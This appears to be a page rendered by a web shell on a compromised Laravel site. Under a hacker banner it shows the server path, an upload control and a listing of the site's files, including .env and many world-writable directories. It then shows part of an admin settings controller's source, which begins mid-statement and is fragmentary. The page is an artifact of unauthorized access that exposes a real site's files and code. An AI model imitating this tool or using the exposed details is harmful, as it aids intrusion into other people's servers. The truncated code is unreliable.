I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
all(), [
'base_color' => 'required|string',
'web_version' => 'required|string',
'site_name' => 'required|string',
'site_title' => 'required|string',
'otp_exp_seconds' => 'required|string',
'timezone' => 'required|string',
]);
$validated = $validator->validate();
$basic_settings = BasicSettings::first();
if (!$basic_settings) return back()->with(['error' => ['Basic settings not found!']]);
try {
$basic_settings->update($validated);
modifyEnv([
"APP_NAME" => $validated['site_name'],
"APP_TIMEZONE" => $validated['timezone'],
]);
} catch (Exception $e) {
return back()->with(['error' => [__('Something went wrong! Please try again')]]);
}
return back()->with(['success' => [__('Basic settings updated successfully!')]]);
}
public function basicSettingsActivationUpdate(Request $request)
{
$validator = Validator::make($request->all(), [
'status' => 'required|boolean',
'input_name' => 'required|string',
]);
if ($validator->stopOnFirstFailure()->fails()) {
$error = ['error' => $validator->errors()];
return Response::error($error, null, 400);
}
$validated = $validator->validate();
$basic_settings = BasicSettingsProvider::get();
// Check Email configure
if ($validated['input_name'] == "email_verification") {
if (!$basic_settings->mail_config) {
$warning = ['warning' => [__('You have to configure your system mail first')]];
return Response::warning($warning, null, 400);
}
}
if($validated['input_name'] == "kyc_verification") {
$data = SetupKyc::first()->fields ?? null;
if($data == null) {
$warning = ['warning' => [__('Please setup KYC field first. Go to [Setup KYC] page from sidebar')]];
return Response::warning($warning, null, 400);
}
}
$validated['status'] = ($validated['status'] == true) ? false : true;
if (!$basic_settings) {
$error = ['error' => ['Basic settings not found!']];
return Response::error($error, null, 404);
}
try {
$basic_settings->update([
$validated['input_name'] => $validated['status'],
]);
} catch (Exception $e) {
$error = ['error' => [__('Something went wrong! Please try again')]];
return Response::error($error, null, 500);
}
$success = ['success' => ['Basic settings status updated successfully!']];
return Response::success($success, null, 200);
}
/**
* Display The Image Assets Page
*
* @return view
*/
public function imageAssets()
{
$page_title = __('Image Assets');
$basic_settings = BasicSettingsProvider::get();
return view('admin.sections.web-settings.image-assets', compact(
'page_title',
'basic_settings',
));
}
public function imageAssetsUpdate(Request $request)
{
$validator = Validator::make($request->all(), [
'site_logo' => 'nullable|image|mimes:png,jpeg,jpg,webp,svg',
'site_logo_dark' => 'nullable|image|mimes:png,jpeg,jpg,webp,svg',
'site_fav' => 'nullable|image|mimes:png,jpeg,jpg,webp,svg',
'site_fav_dark' => 'nullable|image|mimes:png,jpeg,jpg,webp,svg',
]);
$validated = $validator->validate();
$basic_settings = BasicSettingsProvider::get();
if (!$basic_settings) {
return back()->with(['error' => [__('Basic setting not found! Please run database seeder')]]);
}
$images = [];
foreach ($validated as $input_name => $item) {
if ($request->hasFile($input_name)) {
$image = get_files_from_fileholder($request, $input_name);
$upload_image = upload_files_from_path_dynamic($image, 'image-assets', $basic_settings->$input_name);
$images[$input_name] = $upload_image;
}
}
if (count($images) == 0) {
return back()->with(['warning' => [__('No changes to update')]]);
}
// update images to database
try {
$basic_settings->update($images);
} catch (Exception $e) {
return back()->with(['error' => [__('Something went wrong! Please try again')]]);
}
return back()->with(['success' => [__('Image assets updated successfully!')]]);
}
/**
* Display The SEO Setup Page
*
* @return view
*/
public function setupSeo()
{
$page_title = __('Setup SEO');
$setup_seo = SetupSeo::first();
return view('admin.sections.web-settings.setup-seo', compact(
'page_title',
'setup_seo',
));
}
public function setupSeoUpdate(Request $request)
{
$validator = Validator::make($request->all(), [
'image' => 'nullable|image|mimes:png,jpg,webp,svg,jpeg',
'title' => 'required|string|max:120',
'desc' => 'nullable|string|max:255',
'tags' => 'nullable|array',
'tags.*' => 'nullable|string|max:30',
]);
$validated = $validator->validate();
$validated = Arr::except($validated, ['image']);
$setup_seo = SetupSeo::first();
if ($request->hasFile('image')) {
$image = get_files_from_fileholder($request, 'image');
$upload_image = upload_files_from_path_dynamic($image, 'seo', $setup_seo->image);
$validated['image'] = $upload_image;
}
try {
$setup_seo->update($validated);
} catch (Exception $e) {
return back()->with(['error' => [__('Something went wrong! Please try again')]]);
}
return back()->with(['success' => [__('SEO information updated successfully!')]]);
}
}